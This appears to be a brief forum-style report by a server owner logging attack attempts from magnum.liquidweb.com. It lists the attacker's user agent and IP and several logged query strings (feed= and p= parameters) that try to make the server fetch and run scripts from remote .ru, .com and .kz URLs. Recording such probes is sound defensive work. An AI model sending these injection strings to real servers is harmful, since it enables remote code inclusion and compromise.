magnum.liquidweb.com hacker

Agent: mozilla/4.0 (compatible; msie 7.0; windows nt 5.1; .net clr 2.0.50727; .net clr 1.1.4322)
64.91.248.2 magnum.liquidweb.com
string=[ feed=http%3A%2F%2Fchyngachanga.ru%2Fcontent%2Fwuge%2Fowofi%2F ]
hacker hits with this string trying to get my server to run his scripts.

then after geting banned keeps trying with this set of scripts.

?feed=http%3A%2F%2Fwww.qubestunes.com%2Ftreytest%2F1%2Fadoyuru%2Fzagu%2F
p=http%3A%2F%2Fwww.heaven-house.kz%2Ftemplates_c%2Fomoj%2Femuqir%2F

they all are scripts used by hackers to display a test message on your server
http://chyngachanga.ru/content/wuge/owofi/
http://www.qubestunes.com/treytest/1/adoyuru/zagu/
http://www.heaven-house.kz/templates_c/omoj/emuqir/